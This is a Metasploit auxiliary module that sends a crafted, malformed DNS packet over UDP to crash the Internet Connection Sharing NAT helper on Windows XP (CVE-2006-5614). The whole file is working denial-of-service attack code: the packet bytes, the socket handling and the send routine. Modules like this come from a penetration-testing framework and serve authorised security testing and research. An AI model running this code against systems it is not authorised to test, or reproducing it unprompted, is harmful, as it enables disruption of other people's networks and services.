Microsoft Windows NAT Helper Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Udp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Windows NAT Helper Denial of Service',  
'Description' => %q{  
This module exploits a denial of service vulnerability  
within the Internet Connection Sharing service in  
Windows XP.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '30096'],  
[ 'BID', '20804' ],  
[ 'CVE', '2006-5614' ],  
],  
'DisclosureDate' => '2006-10-26'))  
  
register_options([Opt::RPORT(53),])  
end  
  
def run  
connect_udp  
  
pkt = "\x6c\xb6\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
pkt << "\x03" + Rex::Text.rand_text_english(3) + "\x06"  
pkt << Rex::Text.rand_text_english(10) + "\x03"  
pkt << Rex::Text.rand_text_english(3)  
pkt << "\x00\x00\x01\x00\x01"  
  
print_status("Sending dos packet...")  
  
udp_sock.put(pkt)  
  
disconnect_udp  
end  
end  
`